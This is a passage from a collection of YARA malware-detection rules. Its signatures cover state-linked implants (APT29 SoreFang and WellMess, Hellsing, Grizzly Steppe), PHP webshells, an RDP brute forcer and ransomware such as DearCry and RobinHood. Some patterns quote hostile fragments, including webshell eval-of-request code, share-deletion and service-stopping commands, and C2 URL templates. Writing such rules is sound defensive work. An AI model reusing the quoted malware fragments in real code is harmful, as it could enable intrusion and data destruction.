		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		id = "76d382f3-b2f2-5ede-94b2-5ae8b766c194"

	strings:
		$lnk_magic = {4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46}
		$lnk_target = {41 00 55 00 54 00 4F 00 45 00 58 00 45 00 43 00 2E 00 42 00 41 00 54}
		$s1 = {5C 00 5C 00 31 00}
		$s2 = {5C 00 5C 00 32 00}
		$s3 = {5C 00 5C 00 33 00}
		$s4 = {5C 00 5C 00 34 00}
		$s5 = {5C 00 5C 00 35 00}
		$s6 = {5C 00 5C 00 36 00}
		$s7 = {5C 00 5C 00 37 00}
		$s8 = {5C 00 5C 00 38 00}
		$s9 = {5C 00 5C 00 39 00}

	condition:
		uint32be( 0 ) == 0x4c000000 and uint32be( 4 ) == 0x01140200 and ( ( $lnk_magic at 0 ) and $lnk_target ) and 1 of ( $s* )
}

rule RDP_Brute_Strings
{
	meta:
		author = "NCSC"
		description = "Detects RDP brute forcer from NCSC report"
		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		hash = "8234bf8a1b53efd2a452780a69666d1aedcec9eb1bb714769283ccc2c2bdcc65"
		id = "d6f0cdbc-a910-5826-b25a-61c2924f8e2a"

	strings:
		$ = "RDP Brute" ascii wide
		$ = "RdpChecker" ascii
		$ = "RdpBrute" ascii
		$ = "Brute_Count_Password" ascii
		$ = "BruteIPList" ascii
		$ = "Chilkat_Socket_Key" ascii
		$ = "Brute_Sync_Stat" ascii
		$ = "(Error! Hyperlink reference not valid.)" wide
		$ = "BadRDP" wide
		$ = "GoodRDP" wide
		$ = "@echo off{0}:loop{0}del {1}{0}if exist {1} goto loop{0}del {2}{0}del \"{2}\"" wide
		$ = "Coded by z668" wide

	condition:
		4 of them
}

rule WEBSHELL_Z_WebShell_1
{
	meta:
		author = "NCSC"
		description = "Detects Z Webshell from NCSC report"
		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		old_rule_name = "Z_WebShell"
		hash = "ace12552f3a980f1eed4cadb02afe1bfb851cafc8e58fb130e1329719a07dbf0"
		id = "f4b50760-bd3a-5e1f-bf32-50f16a42c381"

	strings:
		$ = "Z_PostBackJS" ascii wide
		$ = "z_file_download" ascii wide
		$ = "z_WebShell" ascii wide
		$ = "1367948c7859d6533226042549228228" ascii wide

	condition:
		3 of them
}

rule GRIZZLY_STEPPE_Malware_1
{
	meta:
		description = "Auto-generated rule - file HRDG022184_certclint.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/WVflzO"
		date = "2016-12-29"
		hash1 = "9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5"
		id = "7239a5f3-9c29-57d7-be95-946d14039353"

	strings:
		$s1 = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb" fullword ascii
		$s2 = "Repeat last find command)Replace specific text with different text" fullword wide
		$s3 = "l\\Processor(0)\\% Processor Time" fullword wide
		$s6 = "Self Process" fullword wide
		$s7 = "Default Process" fullword wide
		$s8 = "Star Polk.exe" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 4 of them )
}

rule GRIZZLY_STEPPE_Malware_2
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/WVflzO"
		date = "2016-12-29"
		hash1 = "9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0"
		hash2 = "55058d3427ce932d8efcbe54dccf97c9a8d1e85c767814e34f4b2b6a6b305641"
		id = "37cfba67-af85-5efe-9b07-9f1e5d9f9195"

	strings:
		$x1 = "GoogleCrashReport.dll" fullword ascii
		$s1 = "CrashErrors" fullword ascii
		$s2 = "CrashSend" fullword ascii
		$s3 = "CrashAddData" fullword ascii
		$s4 = "CrashCleanup" fullword ascii
		$s5 = "CrashInit" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and $x1 ) or ( all of them )
}

rule PAS_TOOL_PHP_WEB_KIT_mod
{
	meta:
		description = "Detects PAS Tool PHP Web Kit"
		reference = "https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity"
		author = "US CERT - modified by Florian Roth due to performance reasons"
		date = "2016/12/29"
		id = "6bc75e44-7784-5e48-9bbc-052d84ebee83"

	strings:
		$php = "<?php"
		$base64decode1 = "='base'.("
		$strreplace = "str_replace(\"\\n\", ''"
		$md5 = ".substr(md5(strrev("
		$gzinflate = "gzinflate"
		$cookie = "_COOKIE"
		$isset = "isset"

	condition:
		uint32( 0 ) == 0x68703f3c and $php at 0 and ( filesize > 10KB and filesize < 30KB ) and #cookie == 2 and #isset == 3 and all of them
}

rule WebShell_PHP_Web_Kit_v3
{
	meta:
		description = "Detects PAS Tool PHP Web Kit"
		reference = "https://github.com/wordfence/grizzly"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2016/01/01"
		id = "dc5fa2c9-3e1e-594d-be4f-141e1f4915f1"

	strings:
		$php = "<?php $"
		$php2 = "@assert(base64_decode($_REQUEST["
		$s1 = "(str_replace(\"\\n\", '', '"
		$s2 = "(strrev($" ascii
		$s3 = "de'.'code';" ascii

	condition:
		(( uint32( 0 ) == 0x68703f3c and $php at 0 ) or $php2 ) and filesize > 8KB and filesize < 100KB and all of ( $s* )
}

rule WebShell_PHP_Web_Kit_v4
{
	meta:
		description = "Detects PAS Tool PHP Web Kit"
		reference = "https://github.com/wordfence/grizzly"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2016/01/01"
		id = "a5f915cd-b9c5-5cd3-b0a2-c15f6124737a"

	strings:
		$php = "<?php $"
		$s1 = "(StR_ReplAcE(\"\\n\",'',"
		$s2 = ";if(PHP_VERSION<'5'){" ascii
		$s3 = "=SuBstr_rePlACe(" ascii

	condition:
		uint32( 0 ) == 0x68703f3c and $php at 0 and filesize > 8KB and filesize < 100KB and 2 of ( $s* )
}

rule APT_APT29_wellmess_dotnet_unique_strings
{
	meta:
		description = "Rule to detect WellMess .NET samples based on unique strings and function/variable names"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "2285a264ffab59ab5a1eb4e2b9bcab9baf26750b6c551ee3094af56a4442ac41"
		id = "7a058ec7-f795-5226-b511-ff469a969ee6"

	strings:
		$s1 = "HealthInterval" wide
		$s2 = "Hello from Proxy" wide
		$s3 = "Start bot:" wide
		$s4 = "FromNormalToBase64" ascii
		$s5 = "FromBase64ToNormal" ascii
		$s6 = "WellMess" ascii

	condition:
		uint16( 0 ) == 0x5a4d and uint16( uint16( 0x3c ) ) == 0x4550 and 3 of them
}

rule APT_APT29_sorefang_encryption_key_schedule
{
	meta:
		description = "Rule to detect SoreFang based on the key schedule used for encryption"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
		id = "8d89edc1-a9fc-5155-9dc2-8d7f952f90d1"

	strings:
		$ = { C7 05 ?? ?? ?? ?? 63 51 E1 B7 B8 ?? ?? ?? ?? 8B 48
            FC 81 E9 47 86 C8 61 89 08 83 C0 04 3D ?? ?? ?? ??
            7E EB 33 D2 33 C9 B8 2C 00 00 00 89 55 D4 33 F6 89
            4D D8 33 DB 3B F8 0F 4F C7 8D 04 40 89 45 D0 83 F8
            01 7C 4F 0F 1F 80 00 00 00 00 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and any of them
}

rule APT_APT29_sorefang_encryption_key_2b62
{
	meta:
		description = "Rule to detect SoreFang based on hardcoded encryption key"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
		id = "9a7abad7-1cfa-52c8-9416-47cb80486714"

	strings:
		$ = "2b6233eb3e872ff78988f4a8f3f6a3ba"

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and any of them
}

rule APT_APT29_sorefang_directory_enumeration_output_strings
{
	meta:
		description = "Rule to detect SoreFang based on formatted string output for directory enumeration"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
		id = "e24dbda1-3d43-52a7-9249-70a648f4913e"

	strings:
		$ = "----------All usres directory----------"
		$ = "----------Desktop directory----------"
		$ = "----------Documents directory----------"

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and 2 of them
}

rule APT_APT29_sorefang_command_elem_cookie_ga_boundary_string
{
	meta:
		description = "Rule to detect SoreFang based on scheduled task element and Cookie header/boundary strings"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
		id = "3c6ffbad-9b39-5518-aa66-d76531ddb9ea"

	strings:
		$ = "<Command>" wide
		$ = "Cookie:_ga="
		$ = "------974767299852498929531610575"

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and 2 of them
}

rule APT_APT29_sorefang_encryption_round_function
{
	meta:
		description = "Rule to detect SoreFang based on the encryption round function"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
		id = "0be1c084-c8df-5920-a320-90364a7fb542"

	strings:
		$ = { 8A E9 8A FB 8A 5D 0F 02 C9 88 45 0F FE C1 0F BE C5 88 6D F3 8D
            14 45 01 00 00 00 0F AF D0 0F BE C5 0F BE C9 0F AF C8 C1 FA 1B C0 E1 05 0A D1 8B 4D EC 0F BE C1 89 55 E4 8D 14 45 01 00 00 00 0F AF D0 8B C1}

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and any of them
}

rule APT_APT29_sorefang_add_random_commas_spaces
{
	meta:
		description = "Rule to detect SoreFang based on function that adds commas and spaces"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
		id = "9a89c619-6309-500f-b4dc-c8a3e8fc4417"

	strings:
		$ = { E8 ?? ?? ?? ?? B9 06 00 00 00 99 F7 F9 8B CE 83 FA 04 7E 09 6A
            02 68 ?? ?? ?? ?? EB 07 6A 01 68 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and any of them
}

rule APT_APT29_sorefang_modify_alphabet_custom_encode
{
	meta:
		description = "Rule to detect SoreFang based on arguments passed into custom encoding algorithm function"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
		id = "7c5c1be0-ccad-5c8f-a026-445994b1f279"

	strings:
		$ = { 33 C0 8B CE 6A 36 6A 71 66 89 46 60 88 46 62 89 46 68 66 89 46
            64 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and any of them
}

rule APT_APT29_sorefang_custom_encode_decode
{
	meta:
		description = "Rule to detect SoreFang based on the custom encoding/decoding algorithm function"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
		id = "4885a659-bb3a-5e33-99cc-b827931bf58f"

	strings:
		$ = { 55 8B EC 8B D1 53 56 8B 75 08 8B DE 80 42 62 FA 8A 4A 62 66 D3
            EB 57 3A 5A 5C 74 0F}
		$ = { 3A 5A 5D 74 0A 3A 5A 58 74 05 3A 5A 59 75 05 FE C1 88 4A 62 8A
            4A 62 B8 01 00 00 00}
		$ = { 8A 46 62 84 C0 74 3E 3C 06 73 12 0F B6 C0 B9 06 00 00 00 2B C8
            C6 46 62 06 66 D3 66 60 0F B7 4E 60}
		$ = { 80 3C 38 0D 0F 84 93 01 00 00 C6 42 62 06 8B 56 14 83 FA 10 72
            04 8B 06}
		$ = { 0F BE 0C 38 8B 45 EC 0F B6 40 5B 3B C8 75 07 8B 55 EC B3 3E}
		$ = { 0F BE 0C 38 8B 45 EC 0F B6 40 5E 3B C8 75 0B 8B 55 EC D0 EB C6
            42 62 05}
		$ = { 8B 55 EC 0F BE 04 38 0F B6 DB 0F B6 4A 5F 3B C1 B8 3F 00 00 00
            0F 44 D8}
		$ = { 8A 4A 62 66 8B 52 60 66 D3 E2 0F B6 C3 66 0B D0 8B 45 EC 66 89
            50 60 8A 45 F3 02 C1 88 45 F3 3C 08 72 2E 04 F8 8A C8 88 45 F3
            66 D3 EA 8B 4D 08 0F B6 C2 50 }
		$ = { 3A 5A 5C 74 0F 3A 5A 5D 74 0A 3A 5A 58 74 05 3A 5A 59 75 05 FE
            C1 88 4A 62 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and any of them
}

rule APT_APT29_sorefang_remove_chars_comma_space_dot
{
	meta:
		description = "Rule to detect SoreFang based on function that removes commas, spaces and dots"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
		id = "c15779b0-6a5e-5345-94ad-95615b567f1f"

	strings:
		$ = {8A 18 80 FB 2C 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
		$ = {8A 18 80 FB 2E 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
		$ = {8A 18 80 FB 20 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and all of them
}

rule APT_APT29_sorefang_disk_enumeration_strings
{
	meta:
		description = "Rule to detect SoreFang based on disk enumeration strings"
		author = "NCSC"
		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
		hash = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
		id = "0ff01793-6fb7-5cff-b4e4-6709269ab0f0"

	strings:
		$ = "\x0D\x0AFree on disk: "
		$ = "Total disk: "
		$ = "Error in GetDiskFreeSpaceEx\x0D\x0A"
		$ = "\x0D\x0AVolume label: "
		$ = "Serial number: "
		$ = "File system: "
		$ = "Error in GetVolumeInformation\x0D\x0A"
		$ = "I can not het information about this disk\x0D\x0A"

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and all of them
}

rule MAL_RANSOM_Crime_DearCry_Mar2021_1
{
	meta:
		description = "Triggers on strings of known DearCry samples"
		author = "Nils Kuhnert"
		date = "2021-03-12"
		reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
		hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
		hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
		hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
		id = "d9714502-f1ea-5fe8-b0ac-1f7a9a30d8f5"

	strings:
		$x1 = ".TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML  .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD  .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS" ascii
		$s1 = "create rsa error" ascii fullword
		$s2 = "DEARCRY!" ascii fullword
		$s4 = "/readme.txt" ascii fullword
		$s5 = "msupdate" ascii fullword
		$s6 = "Your file has been encrypted!" ascii fullword
		$s7 = "%c:\\%s" ascii fullword
		$s8 = "C:\\Users\\john\\" ascii
		$s9 = "EncryptFile.exe.pdb" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize > 1MB and filesize < 2MB and ( 1 of ( $x* ) or 3 of them ) or 5 of them
}

rule MAL_CRIME_RANSOM_DearCry_Mar21_1
{
	meta:
		description = "Detects DearCry Ransomware affecting Exchange servers"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
		date = "2021-03-12"
		hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
		hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
		hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
		id = "96cd2fe8-8bb9-5a3b-9bf1-c63a1148a817"

	strings:
		$s1 = "dear!!!" ascii fullword
		$s2 = "EncryptFile.exe.pdb" ascii fullword
		$s3 = "/readme.txt" ascii fullword
		$s4 = "C:\\Users\\john\\" ascii
		$s5 = "And please send me the following hash!" ascii fullword
		$op1 = { 68 e0 30 52 00 6a 41 68 a5 00 00 00 6a 22 e8 81 d0 f8 ff 83 c4 14 33 c0 5e }
		$op2 = { 68 78 6a 50 00 6a 65 6a 74 6a 10 e8 d9 20 fd ff 83 c4 14 33 c0 5e }
		$op3 = { 31 40 00 13 31 40 00 a4 31 40 00 41 32 40 00 5f 33 40 00 e5 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and 3 of them or 5 of them
}

rule MAL_Compromised_Cert_DuckTail_Stealer_Jun23
{
	meta:
		author = "dr4k0nia"
		description = "Detects binaries signed with compromised certificates used by DuckTail stealer - identified in June 2023"
		reference = "Internal Research"
		date = "2023-06-16"
		modified = "2023-08-12"
		hash1 = "17c75f2d14af9f00822fc1dba00ccc9ec71fc50962e196d7e6f193f4b2ee0183"
		hash2 = "b3cfdb442772d07a7f037b0bb093ba315dfd1e79b0e292736c52097355495270"
		hash3 = "9afe013cae0167993a6a7ccd650eb1221a5ec163110565eb3a49a8b57949d4ee"
		score = 80
		id = "b491e1b6-42c4-58e9-8efa-19e697804f96"

	strings:
		$sx1 = "AZM MARKETING COMPANY LIMITED" ascii fullword
		$sx2 = "CONG TY TNHH" ascii
		$sx3 = {43 C3 94 4E 47 20 54 59 20 54 4E 48 48 20}
		$sx4 = "CONG TY TRACH" ascii
		$se1 = {65 78 BE 85 2D 48 E3 3D 4E 48 B8 D4 73 F5 B7 60}
		$se2 = {1D 53 38 32 74 2B 58 37 87 C0 A2 53 32 F7 FB 06}
		$se3 = {00 BD 7B 85 B2 6A 69 C9 7D 6D 68 CC 95 67 34 C0 6B}
		$se4 = {06 5F 5C 57 0B D6 A7 98 92 FB B0 E6 34 61 3A 4D}
		$se5 = {41 55 3F 07 13 37 11 7A 99 B4 58 57}
		$se6 = {1E AA E4 CE E7 EE 89 FB 20 32 59 27 88 13 D8 53}
		$se7 = {56 DC DB 85 D4 89 F9 87 B2 D6 76 72}
		$se8 = {2D A4 50 57 C2 74 3C 1A 3C A4 93 7A}
		$se9 = {37 AE 95 F5 4C 8E 9B D0 B6 47 68 6A}
		$se10 = {3D C8 F5 3B 62 7A 34 07 AC 7E 01 00 13 87 A3 B3}
		$se11 = {01 C9 87 5A 5F A8 59 68 6D 34 17 C9}
		$se12 = {1B 35 19 E1 CD C2 6B 57 DA EE 06 C9}
		$se13 = {79 7D 0B 5E 22 AA 0F C7 A2 97 E6 48}
		$se14 = {57 9E 5C 89 B0 85 A7 96 B3 3C F3 19}

	condition:
		uint16( 0 ) == 0x5a4d and 1 of ( $sx* ) and 1 of ( $se* )
}

import "pe"

rule APT_APT10_Malware_Imphash_Dec18_1
{
	meta:
		description = "Detects APT10 malware based on ImpHashes"
		author = "Florian Roth (Nextron Systems)"
		reference = "AlienVault OTX IOCs - statistical sample analysis"
		date = "2018-12-28"
		id = "2de195a3-63a4-50ac-a83d-ab0db0f784bf"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 6000KB and ( pe.imphash ( ) == "0556ff5e5f8744bff47d4921494ba46d" or pe.imphash ( ) == "cb1194123f68a68eb14552c085b620ce" or pe.imphash ( ) == "efad9ff8c0d2a6419bf1dd970bcd806d" or pe.imphash ( ) == "7a861cd9c495e1d950a43cb708a22985" or pe.imphash ( ) == "a5d0545030be75a421529c2b0be6c4bd" or pe.imphash ( ) == "94491f4a812b0297419dc888aa4fd2a5" )
}

rule MAL_RANSOM_RobinHood_May19_1
{
	meta:
		description = "Detects RobinHood Ransomware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/BThurstonCPTECH/status/1128489465327030277"
		date = "2019-05-15"
		hash1 = "21cb84fc7b33e8e31364ff0e58b078db8f47494a239dc3ccbea8017ff60807e3"
		id = "7199c0de-c925-5399-8fa6-852604190a21"

	strings:
		$s1 = ".enc_robbinhood" ascii
		$s2 = "c:\\windows\\temp\\pub.key" ascii fullword
		$s3 = "cmd.exe /c net use * /DELETE /Y" ascii
		$s4 = "sc.exe stop SQLAgent$SQLEXPRESS" nocase
		$s5 = "main.EnableShadowFucks" nocase
		$s6 = "main.EnableRecoveryFCK" nocase
		$s7 = "main.EnableLogLaunders" nocase
		$s8 = "main.EnableServiceFuck" nocase

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and 1 of them
}

rule apt_hellsing_implantstrings
{
	meta:
		version = "1.0"
		filetype = "PE"
		author = "Costin Raiu, Kaspersky Lab"
		copyright = "Kaspersky Lab"
		date = "2015-04-07"
		description = "detection for Hellsing implants"
		id = "00aa5885-ae79-5d68-8587-13d3e8965630"

	strings:
		$a1 = "the file uploaded failed !"
		$a2 = "ping 127.0.0.1"
		$b1 = "the file downloaded failed !"
		$b2 = "common.asp"
		$c = "xweber_server.exe"
		$d = "action="
		$debugpath1 = "d:\\Hellsing\\release\\msger\\" nocase
		$debugpath2 = "d:\\hellsing\\sys\\xrat\\" nocase
		$debugpath3 = "D:\\Hellsing\\release\\exe\\" nocase
		$debugpath4 = "d:\\hellsing\\sys\\xkat\\" nocase
		$debugpath5 = "e:\\Hellsing\\release\\clare" nocase
		$debugpath6 = "e:\\Hellsing\\release\\irene\\" nocase
		$debugpath7 = "d:\\hellsing\\sys\\irene\\" nocase
		$e = "msger_server.dll"
		$f = "ServiceMain"

	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $a* ) ) or ( all of ( $b* ) ) or ( $c and $d ) or ( any of ( $debugpath* ) ) or ( $e and $f ) and filesize < 500000
}

rule apt_hellsing_installer
{
	meta:
		version = "1.0"
		filetype = "PE"
		author = "Costin Raiu, Kaspersky Lab"
		copyright = "Kaspersky Lab"
		date = "2015-04-07"
		description = "detection for Hellsing xweber/msger installers"
		id = "0aca838e-813a-59ee-8a04-7d2f4e854075"

	strings:
		$cmd = "cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\""
		$a1 = "xweber_install_uac.exe"
		$a2 = "system32\\cmd.exe" wide
		$a4 = "S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y="
		$a5 = "S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXahTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg="
		$a6 = "7dqm2ODf5N/Y2N/m6+br3dnZpunl44g="
		$a7 = "vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw=="
		$a8 = "vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSINjl2tyI"
		$a9 = "C:\\Windows\\System32\\sysprep\\sysprep.exe" wide
		$a10 = "%SystemRoot%\\system32\\cmd.exe" wide
		$a11 = "msger_install.dll"
		$a12 = {00 65 78 2E 64 6C 6C 00}

	condition:
		uint16( 0 ) == 0x5a4d and ( $cmd and ( 2 of ( $a* ) ) ) and filesize < 500000
}

rule apt_hellsing_proxytool
{
	meta:
		version = "1.0"
		filetype = "PE"
		author = "Costin Raiu, Kaspersky Lab"
		copyright = "Kaspersky Lab"
		date = "2015-04-07"
		description = "detection for Hellsing proxy testing tool"
		id = "54454f07-11a9-5456-b489-9a9610e53123"

	strings:
		$a1 = "PROXY_INFO: automatic proxy url => %s"
		$a2 = "PROXY_INFO: connection type => %d"
		$a3 = "PROXY_INFO: proxy server => %s"
		$a4 = "PROXY_INFO: bypass list => %s"
		$a5 = "InternetQueryOption failed with GetLastError() %d"
		$a6 = "D:\\Hellsing\\release\\exe\\exe\\" nocase

	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $a* ) ) and filesize < 300000
}

rule apt_hellsing_xkat
{
	meta:
		version = "1.0"
		filetype = "PE"
		author = "Costin Raiu, Kaspersky Lab"
		copyright = "Kaspersky Lab"
		date = "2015-04-07"
		description = "detection for Hellsing xKat tool"
		id = "c831ce04-8fb2-5790-8aaf-c88b370835ac"

	strings:
		$a1 = "\\Dbgv.sys"
		$a2 = "XKAT_BIN"
		$a3 = "release sys file error."
		$a4 = "driver_load error. "
		$a5 = "driver_create error."
		$a6 = "delete file:%s error."
		$a7 = "delete file:%s ok."
		$a8 = "kill pid:%d error."
		$a9 = "kill pid:%d ok."
		$a10 = "-pid-delete"
		$a11 = "kill and delete pid:%d error."
		$a12 = "kill and delete pid:%d ok."

	condition:
		uint16( 0 ) == 0x5a4d and ( 6 of ( $a* ) ) and filesize < 300000
}

rule apt_hellsing_msgertype2
{
	meta:
		version = "1.0"
		filetype = "PE"
		author = "Costin Raiu, Kaspersky Lab"
		copyright = "Kaspersky Lab"
		date = "2015-04-07"
		description = "detection for Hellsing msger type 2 implants"
		id = "98f151de-c1c2-56c1-8c64-5d1f437e0742"

	strings:
		$a1 = "%s\\system\\%d.txt"
		$a2 = "_msger"
		$a3 = "http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy=%s"
		$a4 = "http://%s/data/%s.1000001000"
		$a5 = "/lib/common.asp?action=user_upload&file="
		$a6 = "%02X-%02X-%02X-%02X-%02X-%02X"

	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $a* ) ) and filesize < 500000
}

rule apt_hellsing_irene
{
	meta:
		version = "1.0"
		filetype = "PE"
		author = "Costin Raiu, Kaspersky Lab"
		copyright = "Kaspersky Lab"
		date = "2015-04-07"
		description = "detection for Hellsing msger irene installer"
		id = "b57d1a10-4e5c-511f-b98c-8ce7d766c227"

	strings:
		$a1 = "\\Drivers\\usbmgr.tmp" wide
		$a2 = "\\Drivers\\usbmgr.sys" wide
		$a3 = "common_loadDriver CreateFile error!"
		$a4 = "common_loadDriver StartService error && GetLastError():%d!"
		$a5 = "irene" wide
		$a6 = "aPLib v0.43 - the smaller the better"

	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $a* ) ) and filesize < 500000
}

rule MAL_CMD_Script_Obfuscated_Feb19_1
{
	meta:
		description = "Detects obfuscated batch script using env variable sub-strings"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/DbgShell/status/1101076457189793793"
		date = "2019-03-01"
		hash1 = "deed88c554c8f9bef4078e9f0c85323c645a52052671b94de039b438a8cff382"
		id = "8cc99ff5-968c-5b12-9aac-72279c1b8a6b"

	strings:
		$h1 = { 40 65 63 68 6F 20 6F 66 66 0D 0A 73 65 74 20 }
		$s1 = { 2C 31 25 0D 0A 65 63 68 6F 20 25 25 }

	condition:
		uint16( 0 ) == 0x6540 and filesize < 200KB and $h1 at 0 and uint16( filesize - 3 ) == 0x0d25 and uint8( filesize - 1 ) == 0x0a and $s1 in ( filesize - 200 .. filesize )
}

rule EQGRP_noclient_3_0_5
{
	meta:
		description = "Detects tool from EQGRP toolset - file noclient-3.0.5.3"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		id = "af7472ce-0605-5f50-8180-23438d2196b8"

	strings:
